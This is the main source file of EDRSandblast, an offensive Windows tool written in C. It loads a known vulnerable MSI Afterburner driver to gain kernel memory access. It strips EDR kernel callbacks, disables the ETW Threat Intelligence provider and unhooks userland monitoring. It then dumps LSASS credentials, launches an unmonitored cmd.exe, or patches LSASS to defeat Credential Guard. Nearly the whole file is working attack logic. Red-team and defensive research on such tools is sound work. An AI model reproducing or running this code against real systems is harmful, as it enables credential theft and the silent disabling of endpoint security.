mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-08 16:37:12 +00:00
549 lines
27 KiB
C
549 lines
27 KiB
C
#include <Windows.h>
|
|
#include <stdio.h>
|
|
#include <Tchar.h>
|
|
|
|
#ifdef _DEBUG
|
|
#include <assert.h>
|
|
#endif
|
|
|
|
#include "CredGuard.h"
|
|
#include "DriverOps.h"
|
|
#include "ETWThreatIntel.h"
|
|
#include "KernelCallbacks.h"
|
|
#include "LSASSDump.h"
|
|
#include "NtoskrnlOffsets.h"
|
|
#include "RunAsPPL.h"
|
|
#include "WdigestOffsets.h"
|
|
#include "UserlandHooks.h"
|
|
|
|
#include "EDRSandBlast.h"
|
|
|
|
/*
|
|
|
|
--- Execution entry point.
|
|
|
|
*/
|
|
|
|
int _tmain(int argc, TCHAR** argv) {
|
|
// Parse command line arguments and initialize variables to default values if needed.
|
|
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe <audit | dump | cmd | credguard> [-h | --help] [-v | --verbose] [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
|
|
const TCHAR extendedUsage[] = TEXT("\n\
|
|
-h | --help Show this help message and exit.\n\
|
|
-v | --verbose Enable a more verbose output.\n\
|
|
\n\
|
|
Actions mode:\n\
|
|
\n\
|
|
\taudit Display the user-land hooks and / or Kernel callbacks without taking actions.\n\
|
|
\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\
|
|
\t specified file using -o | --output <DUMP_FILE>.\n\
|
|
\tcmd Open a cmd.exe prompt.\n\
|
|
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
|
|
\t Credential Guard is enabled on the host. No kernel-land actions required.\n\
|
|
\n\
|
|
--usermode Perform user-land operations (DLL unhooking).\n\
|
|
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
|
|
\n\
|
|
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
|
|
\n\
|
|
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
|
|
\t present userland hooks.\n\
|
|
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
|
|
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
|
|
\t userland hooks.\n\
|
|
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
|
|
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
|
|
\t hooks.\n\
|
|
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
|
|
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
|
|
\t present userland hooks.\n\
|
|
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
|
|
\t and uses it to remove all detected hooks\n\
|
|
\n\
|
|
Other options:\n\
|
|
\n\
|
|
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\
|
|
Default to automatically unsinstall the driver.\n\
|
|
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
|
|
Default to restore the callbacks.\n\
|
|
\n\
|
|
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
|
|
Default to 'RTCore64.sys' in the current directory.\n\
|
|
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.\n\
|
|
\n\
|
|
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
|
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
|
|
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
|
|
(only for the 'credguard' mode).\n\
|
|
Default to 'WdigestOffsets.csv' in the current directory.\n\
|
|
\n\
|
|
--add-dll <dll name or path> Loads arbitrary libraries into the process' address space, before starting\n\
|
|
anything. This can be useful to audit userland hooking for DLL that are not\n\
|
|
loaded by default by this program. Use this option multiple times to load\n\
|
|
multiple DLLs all at once.\n\
|
|
Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll,\n\
|
|
samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll...\n\
|
|
\n\
|
|
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
|
|
Default to 'lsass' in the current directory.\n");
|
|
BOOL status;
|
|
TCHAR currentFolderPath[MAX_PATH] = { 0 };
|
|
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
|
|
|
|
if (argc < 2) {
|
|
_tprintf(TEXT("%s"), usage);
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
START_MODE startMode = none;
|
|
TCHAR driverPath[MAX_PATH * 2] = { 0 };
|
|
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
|
|
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
|
TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
|
TCHAR outputPath[MAX_PATH * 2] = { 0 };
|
|
BOOL verbose = FALSE;
|
|
BOOL removeVulnDriver = TRUE;
|
|
BOOL restoreCallbacks = TRUE;
|
|
BOOL userMode = FALSE;
|
|
enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
|
|
BOOL kernelMode = FALSE;
|
|
int lpExitCode = EXIT_SUCCESS;
|
|
struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL;
|
|
struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL;
|
|
BOOL ETWTIState = FALSE;
|
|
hook* hooks = NULL;
|
|
|
|
|
|
for (int i = 1; i < argc; i++) {
|
|
if (_tcsicmp(argv[i], TEXT("dump")) == 0) {
|
|
startMode = dump;
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("cmd")) == 0) {
|
|
startMode = cmd;
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("credguard")) == 0) {
|
|
startMode = credguard;
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("audit")) == 0) {
|
|
startMode = audit;
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
|
|
_tprintf(TEXT("%s\n"), usage);
|
|
_tprintf(TEXT("%s\n"), extendedUsage);
|
|
return EXIT_SUCCESS;
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
|
|
verbose = TRUE;
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
|
|
userMode = TRUE;
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
|
|
kernelMode = TRUE;
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
|
|
removeVulnDriver = FALSE;
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) {
|
|
restoreCallbacks = FALSE;
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
|
|
i++;
|
|
if (i > argc) {
|
|
_tprintf(TEXT("%s"), usage);
|
|
return EXIT_FAILURE;
|
|
}
|
|
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
|
|
i++;
|
|
if (i > argc) {
|
|
_tprintf(TEXT("%s"), usage);
|
|
return EXIT_FAILURE;
|
|
}
|
|
SetServiceName(argv[i], _tcslen(argv[i]) + 1);
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
|
|
i++;
|
|
if (i > argc) {
|
|
_tprintf(TEXT("%s"), usage);
|
|
return EXIT_FAILURE;
|
|
}
|
|
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
|
|
i++;
|
|
if (i > argc) {
|
|
_tprintf(TEXT("%s"), usage);
|
|
return EXIT_FAILURE;
|
|
}
|
|
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
|
|
i++;
|
|
if (i > argc) {
|
|
_tprintf(TEXT("%s"), usage);
|
|
return EXIT_FAILURE;
|
|
}
|
|
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
|
|
i++;
|
|
if (i > argc) {
|
|
_tprintf(TEXT("%s"), usage);
|
|
return EXIT_FAILURE;
|
|
}
|
|
unhook_method = _ttoi(argv[i]);
|
|
}
|
|
else if (_tcsicmp(argv[i], TEXT("--add-dll")) == 0) {
|
|
i++;
|
|
if (i > argc) {
|
|
_tprintf(TEXT("%s"), usage);
|
|
return EXIT_FAILURE;
|
|
}
|
|
HANDLE hAdditionnalLib = LoadLibrary(argv[i]);
|
|
if (hAdditionnalLib == INVALID_HANDLE_VALUE) {
|
|
_tprintf(TEXT("Library %s could not have been loaded, exiting...\n"), argv[i]);
|
|
return EXIT_FAILURE;
|
|
}
|
|
}
|
|
else {
|
|
_tprintf(TEXT("%s"), usage);
|
|
return EXIT_FAILURE;
|
|
}
|
|
}
|
|
|
|
// Command line option consistency checks.
|
|
if (startMode == none){
|
|
_tprintf(TEXT("[!] You did not provide an action to perform: audit, dump, credguard or cmd\n"));
|
|
return EXIT_FAILURE;
|
|
}
|
|
if (startMode == cmd && !kernelMode) {
|
|
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
|
|
return EXIT_FAILURE;
|
|
}
|
|
if (!userMode && !kernelMode) {
|
|
_tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
|
|
userMode = TRUE;
|
|
}
|
|
if (startMode == credguard && !kernelMode) {
|
|
_tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
|
}
|
|
if (startMode == dump && !kernelMode) {
|
|
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
|
}
|
|
if (!userMode && kernelMode) {
|
|
_tprintf(TEXT("[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)\n"));
|
|
}
|
|
|
|
BOOL isSafeToExecutePayload = TRUE;
|
|
|
|
if (userMode) {
|
|
_tprintf(TEXT("Loaded DLLs in current process:\n"));
|
|
hooks = searchHooks(NULL);
|
|
_tprintf(TEXT("\n\n"));
|
|
|
|
if (startMode != audit) {
|
|
for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) {
|
|
printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method);
|
|
unhook(ptr, unhook_method);
|
|
}
|
|
}
|
|
}
|
|
|
|
if (kernelMode) {
|
|
if (_tcslen(driverPath) == 0) {
|
|
TCHAR separator[] = TEXT("\\");
|
|
_tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
|
|
_tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
|
|
_tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
|
|
}
|
|
DWORD driverAttrib = GetFileAttributes(driverPath);
|
|
if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
|
|
_tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
|
|
TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv");
|
|
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
|
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
|
}
|
|
|
|
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
|
|
_tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n"));
|
|
ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath);
|
|
if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) {
|
|
_tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n"));
|
|
return EXIT_FAILURE;
|
|
}
|
|
_tprintf(TEXT("\n\n"));
|
|
|
|
// Install the vulnerable driver to have read / write in Kernel memory.
|
|
_tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n"));
|
|
status = InstallVulnerableDriver(driverPath);
|
|
if (status != TRUE) {
|
|
_tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n"));
|
|
_tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n"));
|
|
Sleep(20000);
|
|
status = UninstallVulnerableDriver();
|
|
Sleep(2000);
|
|
status = status && InstallVulnerableDriver(driverPath);
|
|
Sleep(2000);
|
|
if (status != TRUE) {
|
|
_tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n"));
|
|
return EXIT_FAILURE;
|
|
}
|
|
}
|
|
_tprintf(TEXT("\n\n"));
|
|
|
|
Sleep(5000);
|
|
|
|
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
|
|
_tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n"));
|
|
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
|
if (!checkEDRDrivers) {
|
|
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
|
return EXIT_FAILURE;
|
|
}
|
|
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
|
if (checkEDRDrivers->index) {
|
|
isSafeToExecutePayload = FALSE;
|
|
}
|
|
|
|
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
|
|
_tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
|
|
_tprintf(TEXT("\n\n"));
|
|
if (ETWTIState) {
|
|
isSafeToExecutePayload = FALSE;
|
|
}
|
|
}
|
|
|
|
if (startMode != audit) {
|
|
|
|
if (isSafeToExecutePayload) {
|
|
_tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n"));
|
|
|
|
// Do the operation the tool was started for.
|
|
switch (startMode) {
|
|
|
|
// Start a process executing cmd.exe.
|
|
case cmd:
|
|
_tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
|
|
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
|
|
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n"));
|
|
// Find cmd.exe path.
|
|
TCHAR systemDirectory[MAX_PATH * 2] = { 0 };
|
|
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
|
TCHAR cmdPath[MAX_PATH * 2] = { 0 };
|
|
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
|
|
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
|
|
_tsystem(cmdPath);
|
|
break;
|
|
|
|
// Dump the LSASS process in a new thread.
|
|
case dump:
|
|
if (kernelMode) {
|
|
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n"));
|
|
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
|
SetCurrentProcessAsProtected(verbose);
|
|
}
|
|
}
|
|
|
|
if (_tcslen(outputPath) == 0) {
|
|
TCHAR outputName[] = TEXT("\\lsass");
|
|
_tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath));
|
|
_tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName));
|
|
}
|
|
|
|
_tprintf(TEXT("[+] Attempting to dump LSASS\n"));
|
|
HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL);
|
|
if (hThread) {
|
|
WaitForSingleObject(hThread, INFINITE);
|
|
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
|
|
if (lpExitCode != 0) {
|
|
_tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n"));
|
|
lpExitCode = EXIT_FAILURE;
|
|
}
|
|
}
|
|
else {
|
|
_tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n"));
|
|
lpExitCode = EXIT_FAILURE;
|
|
}
|
|
break;
|
|
|
|
|
|
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
|
|
case credguard:
|
|
if (kernelMode) {
|
|
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n"));
|
|
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
|
SetCurrentProcessAsProtected(verbose);
|
|
}
|
|
}
|
|
if (_tcslen(wdigestOffsetCSVPath) == 0) {
|
|
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
|
|
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
|
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
|
}
|
|
|
|
wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath);
|
|
if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
|
_tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n"));
|
|
lpExitCode = EXIT_FAILURE;
|
|
}
|
|
else {
|
|
_tprintf(TEXT("\n\n"));
|
|
if (disableCredGuardByPatchingLSASS()) {
|
|
_tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n"));
|
|
}
|
|
else {
|
|
_tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n"));
|
|
lpExitCode = EXIT_FAILURE;
|
|
}
|
|
}
|
|
break;
|
|
}
|
|
_tprintf(TEXT("\n\n"));
|
|
}
|
|
|
|
// If the the payload is not safe to execute.
|
|
else {
|
|
_tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and starting another process...\n"));
|
|
#ifdef _DEBUG
|
|
assert(kernelMode);
|
|
#endif
|
|
/*
|
|
* 1/3 : Removing kernel-based monitoring.
|
|
*/
|
|
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
|
|
if (ETWTIState) {
|
|
DisableETWThreatIntelProvider(verbose);
|
|
}
|
|
// If kernel callbacks are monitoring processes, we remove them and start a new process.
|
|
if (checkEDRDrivers && checkEDRDrivers->index != 0) {
|
|
_tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n"));
|
|
// Removes EDR drivers callbacks for process / threads creation and image loading.
|
|
removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
|
if (!removedEDRDrivers) {
|
|
_tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n"));
|
|
return EXIT_FAILURE;
|
|
}
|
|
_tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n"));
|
|
RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose);
|
|
_tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n"));
|
|
RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose);
|
|
_tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n"));
|
|
RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose);
|
|
_tprintf(TEXT("\n\n"));
|
|
|
|
// Checks that EDR drivers were indeed removed and if so, go on with the payload.
|
|
_tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n"));
|
|
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
|
if (!checkEDRDrivers) {
|
|
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
|
free(removedEDRDrivers);
|
|
return EXIT_FAILURE;
|
|
}
|
|
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
|
_tprintf(TEXT("\n\n"));
|
|
if (checkEDRDrivers->index != 0) {
|
|
_tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting..."));
|
|
lpExitCode = EXIT_FAILURE;
|
|
}
|
|
free(checkEDRDrivers);
|
|
}
|
|
|
|
/*
|
|
* 2/3 : Starting "resursively" our process.
|
|
*/
|
|
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
|
|
_tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n"));
|
|
_tprintf(TEXT("\n\n"));
|
|
STARTUPINFO si;
|
|
PROCESS_INFORMATION pi;
|
|
memset(&si, 0, sizeof(si));
|
|
si.cb = sizeof(si);
|
|
memset(&pi, 0, sizeof(pi));
|
|
// Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process.
|
|
TCHAR* currentCommandLine = GetCommandLine();
|
|
TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver"));
|
|
TCHAR* serviceNameOpt = _tcsdup(TEXT(" --service "));
|
|
TCHAR* svcName = GetServiceName();
|
|
|
|
//TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const".
|
|
const SIZE_T commandLineMaxLen = 32768;
|
|
TCHAR* commandLine = (TCHAR*) calloc(commandLineMaxLen, sizeof(TCHAR));
|
|
_tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine));
|
|
_tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag));
|
|
_tcsncat_s(commandLine, commandLineMaxLen, serviceNameOpt, _tcslen(serviceNameOpt));
|
|
_tcsncat_s(commandLine, commandLineMaxLen, svcName, _tcslen(svcName));
|
|
|
|
if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
|
|
WaitForSingleObject(pi.hProcess, INFINITE);
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(pi.hThread);
|
|
}
|
|
else {
|
|
_tprintf(TEXT("[!] An error occured while trying to create a new process\n"));
|
|
lpExitCode = EXIT_FAILURE;
|
|
}
|
|
free(commandLine);
|
|
|
|
_tprintf(TEXT("\n\n"));
|
|
|
|
/*
|
|
* 3/3 : Restoring state after execution.
|
|
*/
|
|
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
|
|
if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) {
|
|
// Restores the EDR drivers.
|
|
_tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n"));
|
|
RestoreEDRCallbacks(removedEDRDrivers);
|
|
_tprintf(TEXT("\n\n"));
|
|
|
|
// Checks that the EDR drivers were indeed restored.
|
|
_tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n"));
|
|
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
|
if (!checkEDRDrivers) {
|
|
_tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n"));
|
|
}
|
|
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
|
if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) {
|
|
_tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n"));
|
|
}
|
|
else {
|
|
_tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n"));
|
|
lpExitCode = EXIT_FAILURE;
|
|
}
|
|
free(checkEDRDrivers);
|
|
_tprintf(TEXT("\n\n"));
|
|
}
|
|
|
|
// Renable the ETW Threat Intel provider.
|
|
// TODO : make this conditionnal, just as kernel callbacks restoring ?
|
|
if (ETWTIState) {
|
|
EnableETWThreatIntelProvider(verbose);
|
|
}
|
|
|
|
if (removedEDRDrivers) {
|
|
free(removedEDRDrivers);
|
|
}
|
|
}
|
|
}
|
|
|
|
if (kernelMode && removeVulnDriver) {
|
|
Sleep(5000);
|
|
_tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n"));
|
|
status = UninstallVulnerableDriver();
|
|
if (status == FALSE) {
|
|
_tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n"));
|
|
_tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetServiceName());
|
|
lpExitCode = EXIT_FAILURE;
|
|
}
|
|
else {
|
|
_tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n"));
|
|
}
|
|
}
|
|
|
|
return lpExitCode;
|
|
} |